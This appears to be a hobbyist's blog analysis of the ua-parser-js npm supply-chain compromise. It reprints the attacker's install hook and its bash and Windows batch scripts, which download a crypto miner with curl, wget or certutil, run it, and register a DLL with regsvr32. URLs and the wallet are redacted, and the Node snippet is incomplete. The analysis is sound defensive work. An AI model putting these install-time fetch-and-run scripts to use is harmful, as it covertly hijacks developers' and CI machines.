Ua-Parser-Js Compromise

Obvious Disclaimer: I’m not a professional security researcher. I dabble in these things and more pursue these things out of curiosity. Let me know what I got wrong.

Today I read that there was another victim of a Supply Chain attack, a NPM module author had a few of their modules compromised, one of which (the one I read about) was ua-parser.js. This module provides detection of various platform data from user agent strings.

There were a few offending versions, all of which were promptly taken down. The author reported in the GitHub issue that the attacker compromised an account without 2 factor authentication and published 3 rouge versions.

Inspired by YouTubers like John Hammond, I dug into this a bit to satisfy my own curiosity.

How The Payload Was Installed

This was pretty simple, as NPM itself provides hooks that packages can use to perform extra steps during installation. This is fairly common, and in this case the attacker used it to download and execute their payload.

This is the hook code in question:

const { exec } = require("child_process");

function terminalLinux(){
    exec("/bin/bash", (error, stdout, stderr) => {
        if (error) {
            console.log(`error: ${error.message}`);
        if (stderr) {
            console.log(`stderr: ${stderr}`);
        console.log(`stdout: ${stdout}`);

var opsys = process.platform;
if (opsys == "darwin") {
    opsys = "MacOS";
} else if (opsys == "win32" || opsys == "win64") {
    opsys = "Windows";
    const { spawn } = require('child_process');
    const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']);
} else if (opsys == "linux") {
    opsys = "Linux";

This node code was executed and then ran a script appropriate to your platform. Both did basically the same thing, but this is the bash version.

IP=$(curl -k | grep 'RU\|UA\|BY\|KZ')
if [ -z "$IP" ]
    var=$(pgrep jsextension)
    if [ -z "$var" ]
        curl -o jsextension 
        if [ ! -f jsextension ]
            wget -O jsextension
        chmod +x jsextension
        ./jsextension -k --tls --rig-id q -o -u ---- --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &

(some info redacted)

This script first checks if your in Russia, Ukrane, Belarus, or Kazakhstan and skip execution if your IP is in those countries.

It then downloads a file called jsextension, but appears to really be a crypto miner. I can’t download this and verify myself as the server hosting the file appears to have already been shutdown.

This code ran as a hook in NPM, which only runs when using npm commands like npm install and npm ci. Therefore, the payload would only have been downloaded on developer or CI machines that were installing node packages.


The windows payload looks a bit more complex:

@echo off
curl -o jsextension.exe
if not exist jsextension.exe (
    wget -O jsextension.exe
if not exist jsextension.exe (
    certutil.exe -urlcache -f jsextension.exe
curl -o create.dll
if not exist create.dll (
    wget -O create.dll
if not exist create.dll (
    certutil.exe -urlcache -f create.dll
set exe_1=jsextension.exe
set "count_1=0"
>tasklist.temp (
tasklist /NH /FI "IMAGENAME eq %exe_1%"
for /f %%x in (tasklist.temp) do (
if "%%x" EQU "%exe_1%" set /a count_1+=1
if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o -u --- --cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll)
del tasklist.temp

I’m working on digging into that create.dll file that gets downloaded, it seems spooky-wooky to me, but I’ll do a separate writeup of it because I have to refresh my Windows skills.

This server belongs to a hosting company, and the payload was already removed (and the server no longer listening on 443 or 80), so I presume the hosting company caught wind and shut it down.

I did look at shodan to see if there was anything interesting, and it looks like just VNC and X11 were running on the machine.

I don’t have access to the history, but I assume this IP is shared at the hosting provider, so I doubt any of that information would be of substantial use.


This was the main payload the hook tried to download, and I couldn’t get a copy of it outright. I found that Sonatype ran it through VirusTotal.

Lots of programs flagged that executable, and in the details I saw another name it was found by was xmrig.exe.

XMRig is a CPU and GPU coin miner, so the intention of this compromise is pretty clear: mine coins.

Mining Pool

One other thing I did note, was that the attacker set up the miner to use a pool. (rather is configured in the CLI flags (along with the user’s coin address, which I’ve removed), and is a Monero mining pool.

The pool does provide a dashboard to see your mining stats, and I was able to login with the key provided graciously by the attacker in their payload. As of this writing, the attacker still had active connections to the pool (although, they all share the same name so it’s unclear how many targets there were), and had only been active for the past few days.

Also, the attacker seemed to be successful (at least from a monetary perspective) and had $16 in their pool account. Monero by design doesn’t allow you to view transactions associated with an address, so we can’t know their total earnings. The pool also appears to have an automatic transfer-out feature, so it’s very likely they had already had transfers out already.

Wrapping Up

Nothing earth shattering in this attack, user with 2 factor auth had their account compromised and someone wanted to mine some crypto.

At the end of the day, it’s another good argument for 2 factor authentication everywhere, and evaluating your supply chain. NPM packages have a reputation for being extraordinarily recursive, so it’s possible your had a potentially compromised package without your direct knowledge.